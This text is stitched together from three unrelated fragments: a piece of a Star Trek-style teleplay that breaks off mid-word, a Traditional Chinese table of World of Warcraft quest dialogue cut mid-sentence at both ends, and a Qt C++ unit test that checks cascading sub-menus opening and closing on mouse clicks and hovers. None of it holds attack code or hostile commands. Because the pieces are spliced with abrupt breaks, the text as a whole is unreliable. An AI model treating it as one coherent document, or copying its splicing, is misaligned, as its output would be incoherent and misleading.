    them know what's happening. You

    have your orders. Dismissed.

 Everyone stands and EXITS. Riker taps a control on the

    table.

 RIKER

    (to computer)

    Computer, send a subspace message

    to Starfleet command... security

    channel, authorization...

 He hesitates... a long beat.

 COMPUT


來新的活力。也許在貧瘠之地找到的這種奇怪的生命形式能夠對她在銀松森林的工作有所幫助。","把妳收集到的龜殼樣品交給她吧，茉拉壹般都在瑟伯切爾待著。如果運氣夠好的話，這些貝殼可以幫她找到治愈那片瀕死之地的方法。"}, {"和瑟伯切爾的茉拉·符文圖騰談壹談。"}},
[3321] = {"秘銀會的認可", {"妳為秘銀會做了很多事情，<name>。像妳這樣無私而純粹地奉獻並不是人人都能做到的。在我和加爾文的心中，妳無疑已經成為我們的壹員了。","所以我覺得妳應該獲得壹些小獎勵。其實也沒什麽，也就是壹個飾品，我想妳應該很清楚它的意義，而且我相信它應該就是妳到我們這裏來的最初目的。"}, {"等待特倫頓完成他的工作。"}},
[3341] = {"寒冰之王", {"在貧瘠之地有壹處藤蔓交錯的地方，那裏被稱為剃刀高地。我們很久以前派去的斥候就已經發現那裏的情況有些不對勁了，最近的發現表明那裏的情況變得更加糟糕了……","剃刀高地的野豬人和亡靈天災結成了同盟。有個名叫寒冰之王亞門納爾的巫妖指揮著它們的每壹步行動。","亞門納爾與耐奧祖有著直接的心靈感應聯系，我們必須切斷這樣的聯系，<name>。我們必須幹掉寒冰之王。"}, {"安德魯·布隆奈爾要妳殺了寒冰之王亞門納爾並將其頭骨帶回來。"}},
[3361] = {"逃難者的困境", {"我們把石腭怪趕出了諾莫瑞根，但是那裏變得壹團糟！我們的家園現在充滿了輻射，我們侏儒也分散在丹莫洛的各個角落。","在逃避輻射的過程中，我丟失了所有的東西，那可都是我的私人財產！是巨魔搶走了我的東西，他們搶走了我的箱子，我的盒子，還有我的壹桶螺釘！巨魔搶到東西後就壹溜煙跑回他們的營地去了，就在


    QVERIFY(subMenu2);
    subMenu2->setCascade(cascade);
    QCOMPARE(subMenu2->cascade(), cascade);

    QQuickMenu *subSubMenu1 = window->property("subSubMenu1").value<QQuickMenu *>();
    QVERIFY(subSubMenu1);
    subSubMenu1->setCascade(cascade);
    QCOMPARE(subSubMenu1->cascade(), cascade);

    mainMenu->open();
    QVERIFY(mainMenu->isVisible());
    QTRY_VERIFY(mainMenu->isOpened());

    auto *mainMenuPrivate = QQuickMenuPrivate::get(mainMenu);
    QCOMPARE(mainMenuPrivate->resolvedPopupType(), popupType);
    if (mainMenuPrivate->usePopupWindow()) {
        QTRY_VERIFY(mainMenuPrivate->popupWindow);
        QVERIFY(QTest::qWaitForWindowExposed(mainMenuPrivate->popupWindow));
    }
    QVERIFY(!subMenu1->isVisible());
    QVERIFY(!subMenu2->isVisible());
    QVERIFY(!subSubMenu1->isVisible());

    // open the sub-menu with mouse click
    QQuickMenuItem *subMenu1Item = qobject_cast<QQuickMenuItem *>(mainMenu->itemAt(1));
    QVERIFY(subMenu1Item);
    QCOMPARE(subMenu1Item->subMenu(), subMenu1);
    const QPoint subMenu1ItemPos = subMenu1Item->mapToGlobal(QPoint(1, 1)).toPoint();
    QTest::mouseClick(window, Qt::LeftButton, Qt::NoModifier, window->mapFromGlobal(subMenu1ItemPos));
    QTRY_COMPARE(mainMenu->isVisible(), cascade);

    auto *subMenu1Private = QQuickMenuPrivate::get(subMenu1);
    QCOMPARE(subMenu1Private->resolvedPopupType(), popupType);
    if (mainMenuPrivate->usePopupWindow()) {
        QTRY_VERIFY(subMenu1Private->popupWindow);
        QVERIFY(QTest::qWaitForWindowExposed(subMenu1Private->popupWindow));
    }
    QVERIFY(subMenu1->isVisible());
    QTRY_VERIFY(subMenu1->isOpened());
    QVERIFY(!subMenu2->isVisible());
    QVERIFY(!subSubMenu1->isVisible());

    // on Android mouse hover will not open and close sub-menus
#ifndef Q_OS_ANDROID
    // open the cascading sub-sub-menu with mouse hover
    QQuickMenuItem *subSubMenu1Item = qobject_cast<QQuickMenuItem *>(subMenu1->itemAt(2));
    QVERIFY(subSubMenu1Item);
    QCOMPARE(subSubMenu1Item->subMenu(), subSubMenu1);
    const QPoint subSubMenu1ItemPos = subSubMenu1Item->mapToGlobal(QPoint(1, 1)).toPoint();
    QTest::mouseMove(window, window->mapFromGlobal(subSubMenu1ItemPos));
    QCOMPARE(mainMenu->isVisible(), cascade);
    QVERIFY(subMenu1->isVisible());
    QVERIFY(!subMenu2->isVisible());
    QVERIFY(!subSubMenu1->isVisible());
    if (cascade) {
        QTRY_VERIFY(subSubMenu1->isVisible());
        QTRY_VERIFY(subSubMenu1->isOpened());
    }

    // close the sub-sub-menu with mouse hover over another parent menu item
    QQuickMenuItem *subMenuItem1 = qobject_cast<QQuickMenuItem *>(subMenu1->itemAt(0));
    QVERIFY(subMenuItem1);
    QVERIFY(!subMenuItem1->subMenu());
    const QPoint subMenuItem1Pos = subMenuItem1->mapToGlobal(QPoint(1, 1)).toPoint();
    QTest::mouseMove(window, window->mapFromGlobal(subMenuItem1Pos));
    QCOMPARE(mainMenu->isVisible(), cascade);
    QVERIFY(subMenu1->isVisible());
    QVERIFY(!subMenu2->isVisible());
    QTRY_VERIFY(!subSubMenu1->isVisible());